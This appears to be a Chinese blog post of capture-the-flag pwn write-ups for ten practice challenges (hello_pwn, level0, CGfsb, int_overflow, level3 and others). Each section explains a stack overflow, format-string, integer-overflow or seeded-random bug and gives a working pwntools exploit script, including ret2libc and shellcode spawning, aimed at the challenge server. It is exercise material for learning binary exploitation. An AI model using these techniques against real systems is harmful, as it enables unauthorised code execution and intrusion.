CTF-PWN(2天10题)(1)
本文最后更新于106 天前,其中的信息可能已经过时,如有错误请发送邮件到1334258945@qq.com

攻防世界

get_shell

发现直接可以拿到shell。

那就直接nc。

hello_pwn

是64位,并且保护基本没有开,去ida看一看

发现一个逻辑,让这个60106c==1853186401就能进入sub_400686这个函数,而这个函数里面是

我们看看unk_601068和dword_60106C的距离。

我们可以看到unk_601068和dword_60106C差了四个字节,而我们看到read是可以读入16个字节的,

所以我们可以输入4个没用的字节,然后直接在后面字节输入我们需要的。

payload如下

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
q = remote("61.147.171.105",54237)
payload = b"aaaa" + p64(1853186401)
q.sendline(payload)
q.interactive()

得到flag。

level0

啥都没开

进入ida看看。

这个没有溢出,我们进入函数看看,

发现具有栈溢出,可以看到read中的buf只能存入128,但是read里面可以读0x200,所以具有栈溢出。

并且函数里面有后门。

结论很简单,我们需要进行栈溢出进入到后门就行。

我们可以用gdb来找偏移量。

我们在这个函数打断点。

然后运行r。

这里一直n,直到到read这里,然后enter然后输入随便几个数比如aaaaaa。

然后去看栈的情况

stack 40,查看40个栈的情况。

我们用rbp的地址值减去rsp的地址值就是偏移量。

是128,因为是64位,所以我们得加上8,为什么呐,这个原因你可以去网上搜栈溢出原理就能明白。

我们还得需要承接bin/sh的东西,是需要rdi寄存器

找到这个地址,开始写payload。

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
q = remote("61.147.171.105",62465)
elf = ELF("./level0")
qjzh = 136
bin_sh = elf.symbols["callsystem"]
print(hex(bin_sh))

payload = b'a'*qjzh + p64(bin_sh)
#gdb.attach(q)
q.sendline(payload)
q.interactive()

但是离谱的事情是我本地打不通,远程可以打通。…

算了拿到flag了。

level2

保护显然易见。

用ida32查看

进入函数看一看

这不包有栈溢出,用上面level0的方法找偏移量。

这个我发现用gdb进不去read函数,所以这个应该只能静态看ida了,

这里的buf到ebp的地址是0x88,加上ebp的地址也就是0x88+4的偏移量。

我们发现这个没有现成的system(“/bin/sh”)

shift f12发现

有/bin/sh

地址为0x804a024

system是有现成的,找到call_system就行

这个0X804845c就行。

写payload就可以了。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#q = process('./level2')
q = remote("61.147.171.105",52133)
qjzh = 0x88+4
call_system = 0X804845c
bin_sh = 0x804a024
payload = b'a'*qjzh + p32(call_system) + p32(bin_sh)
q.sendline(payload)
q.interactive()

得到flag。

CGfsb

开了canary。看一下ida

我们发现当pwnme==8字节的时候,就会进行cat flag

这里主要利用了格式化字符串print的。

怎么来确定偏移量呐,我们运行,输入

aaa-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x 

可以看到print输出的东西,我们发现616161这三个不就是a吗,数一下到aaa的距离,发现是10位置,所以偏移量是10。

也就是说,我们需要得到pwnme的地址,因为地址就是4个字节,然后再添加4个字节,然后写入这个偏移量的位置所以payload是

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
q = remote('61.147.171.105',56820)
pwnme = 0x0804A068  #pwnme所在地址
q.recvuntil(b"please tell me your name:\n")
q.sendline(b"Qjzhalx")
payload = p32(pwnme) + b'a' * 0x4 + b'%10$n'  
q.recvuntil(b"leave your message please:\n")
q.sendline(payload)
q.interactive()

payload = p32(pwnme) + b’a’ * 0x4 + b’%10$n’ 再来解释一下吧

在这个 payload 中,pwnme 会被设置成到 %10$n 为止打印出的字符总数。所以,我们需要计算这个值:

  • p32(addr_pwnme) 生成的四字节地址,加上四个 ‘a’,总共输出了 8 个字节。
  • 因此,当 %10$n 执行时,它会将数字 8 写入 pwnme 指向的地址,这是因为在遇到 %10$n 之前,总共输出了 8 个字符。

这就是为什么 pwnme 会被设置成 8 的原因。这种类型的漏洞利用非常强大,因为它可以用来改写内存中的任意数据,从而可能绕过安全检查、修改程序流程或造成其他影响。

得到flag。

guess_num

全开,正常的,猜数字就是这样。

去ida看看。

发现就是让咱猜数字,我们看看gets能不能覆盖掉seed改成我们想要的内容。

猜对10次进入sub_C3E函数

这个函数是打开flag的。

看一看get输入值的位置

我们发现get里面的值和seed的就相差0x30-0x10的位置。

所以payload是

from pwn import *
from ctypes import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#q = process("./guess_num")
q = remote("61.147.171.105", 51493)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload = b"a" * 0x20 + p64(1)
q.sendline(payload)

libc.srand(1)
for i in range(10):
    num = str(libc.rand()%6+1)
    q.sendline(num)
q.interactive()

b"a" * 0x20 用于填充 gets 接收的缓冲区,直到可以开始覆盖 seed(假设的种子值变量)的位置。p64(1) 用于将 seed 的值设为 1。这是精心挑选的,因为后面的代码使用相同的 seed 值 (1) 来初始化 libc 的伪随机数生成器(srand),这样就可以预测 rand() 函数的输出。libc.srand(1)使用固定的种子值 1 调用 srand() 的原因是为了使接下来通过 rand() 生成的随机数序列可预测。

得到flag。

int_overflow

保护基本没有开,我们去ida看看。

在main函数里面没有漏洞

进一下login看看。

好像也没有漏洞,但是又check_passwd这个函数,进去看看

这里其实就存在漏洞了这里的v3的长度只有是4-8的时候才会进入else里面。

这里科普一下,怎么样才能是4-8的长度

首先我们要了解一下这张图。

在c语言中有这样的规定:

对于unsigned整型的溢出,溢出之后的数会和2^(8*字节)作模运算,例如一个unsigned char 溢出了,就会把溢出的数值与256求模

举个例子

这里的a和b是相等的。

所以就是unsigned _int8 v3 典型的整型溢出(256+4到256+8),满足其长度的要求,接下来就可以执行strcpy()函数,由于没有对复制的长度进行限制,我们可以借助这个函数,达到rop效果,接下来就是确定跳转的地址了。

这里有个what_is_this函数,就是这个。

我们可以看到s到dest需要0x14的距离。

也就是说,我们需要用0x14的垃圾数据填充,加上覆盖ebp的地址为4,再加上我们需要的返回地址,然后后面在输入(256+4或者256+8 -去0x14-4-4)就可以了。

所以payload是

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
q = remote("61.147.171.105",50345)
#q = process("./int_overflow")
elf = ELF("./int_overflow")
qjzh = 0x14+4
cat_flag = elf.symbols["what_is_this"]
print(hex(cat_flag))
q.sendlineafter("Your choice:",b'1')
q.sendlineafter("Please input your username:",b'qjzhalx')
payload = b'a'*qjzh + p32(cat_flag) + b'a'*(256+6-0x14-4-4)
q.sendlineafter("Please input your passwd:",payload)
q.interactive()

得到flag。

cgpwn2

还是32位的。

打开ida看一看

main函数没有漏洞哎。

我们进入hello函数。

前面好像没有什么用处,我们发现有一个gets的漏洞。

发现pwn里面有system的命令。

也就是这个题目的意思是,让我们用name写入/bin/sh,然后再用gets进行栈溢出system作为返回值, name作为system的参数。

先找偏移量,还是用我那种方法,gdb动态调试,找到gets然后输入,输入完找到栈。

就是这两个相减,所以偏移量是38。

所以system是0x804855A

name是0x804a080

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#q = process('./cgpwn2')
q = remote("61.147.171.105",50961)

#elf = ELF("./cgpwn2")
#name_addr = elf.symbols["name"]
#print(hex(l))

name_addr = 0x804a080
sys_addr = 0x804855A
payload = b'a' * (38 + 4) + p32(sys_addr) + p32(name_addr)

q.sendlineafter("please tell me your name\n", b'/bin/sh')
q.sendlineafter("hello,you can leave some message here:\n",payload)
q.interactive()

得到flag。

string

看到了这些保护。

我们打开ida,看看具体逻辑。

解释一下alarm(0X3c)是啥意思吧。

alarm函数中的参数0x3Cu是十六进制无符号数,即十进制对应60,所以该函数的作用是在程序运行60秒后,给进程发送SIGALRM信号,如果不另编写程序接受处理此信号,则默认结束此程序。

然后这个就是v4[0]=68,v4[1]=85,然后给了v4[0]和v4[1]的地址

然后v4就进入sub_400D72函数中了。

接着去看sub_400D72函数中是啥样子。

我们发现这里的v4是这里的a1,它先让我们输入了我们的名字,如果名字的长度小于等于0xc,就会进入if里面,会创建一个新的玩家,如果不是就else返回,但是返回回去没有看到任何东西,说明漏洞就在这if里面的三个函数中,先去看第一个函数sub_400A7D。

当我们输入east的时候,会跳出这个函数,我在这个函数并没有发现漏洞,我们接着看下一个函数

sub_400BB9

我们发现,这里我们输入1的时候进入这个if语句中,并且里面有一个print,这不就是格式化字符串的漏洞吗,接着我们退出循环,进入最后一个函数。

sub_400CA6(a1)

这里的a1不要忘记是我们的v4

我们看到这里只有a1[0]和a1[1]相等的时候,才能进入if里面,这里面有mmap,有了mmap我们就可以进行shellcode了。

但是我们知道a1[0]=68,而a[1]是85,怎么样才能改呐,没错,就在上个函数我们可以用格式化字符串改一下a1[0]的值。

找偏移量,发现是7。

所以我们的payload为

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#q = process("./string")
q = remote("61.147.171.105",59892)
q.recvuntil(b'secret[0] is')
addr = int(q.recvuntil(b'\n')[: -1], 16)
print(hex(addr))
q.sendlineafter(b"What should your character's name be:",b"qjzhalx")
q.sendlineafter(b"So, where you will go?east or up?:",b"east")
q.sendlineafter(b"go into there(1), or leave(0)?:",b"1")
q.recvuntil(b"'Give me an address'")
q.sendline(str(addr))
payload = b'%85x%7$n'
q.recvuntil('And, you wish is:\n')
q.sendline(payload)
shellcode = asm(shellcraft.sh())
q.recvuntil(b'Wizard: I will help you! USE YOU SPELL\n')
q.sendline(shellcode)

q.interactive()

得到flag。

level3

查看保护,32位,打开ida。

main函数什么都没有,进入第一个函数

发现read里面有栈溢出,没有后面函数,我们可以利用read来进行ret2libc的利用。

先找偏移量,还是那种方法。

所以是0xffffd108 – 0xffffd080是136

所以偏移量是136+4

直接开始写payload

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
args = {'REMOTE':True}
if args['REMOTE']:
	q = remote("61.147.171.105",57850)
else:
	q = process("./level3")
elf = ELF("./level3")
libc = ELF("./libc_32.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.symbols["main"]
#b'a'*140:用于填充程序缓冲区及ebp地址,随便什么字符,填满就行
#p32(write_plt):用于覆盖返回地址,使用plt调用write()函数
#p32(main_addr):设置write()的返回地址为main();因为这一步payload只是为了返回write()的got地址,后续的实际攻击还需要继续使用main函数的read()方法,所以write()执行完毕后需要返回到main()
#p32(0):write()第一个参数,只要转换为p32格式就行
#p32(write_got):返回write()got表地址,这就是这句payload需要得到的信息
#p32(4):读入4个字节,也就是write()got表地址

payload = b'a'*140 + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(4)
q.recvuntil('Input:\n')
q.sendline(payload)
write = (u32(q.recv()))
print(hex(write))
libc_base = write - libc.symbols["write"]
print(hex(libc_base))
sys_addr = libc_base + libc.symbols["system"]
print(hex(sys_addr))
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
print(hex(bin_sh))
#p32(sys_addr):覆盖返回地址,跳转到system地址
#p32(0):覆盖system函数的返回地址,我们目的是获得/bin/sh,所以不关心它返回到哪,填充4个字节就行
#p32(binsh_addr):传入system的参数/bin/sh
payload1 = b'a'*140+p32(sys_addr)+p32(0)+p32(bin_sh)
q.sendline(payload1)
q.interactive()

得到flag。

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇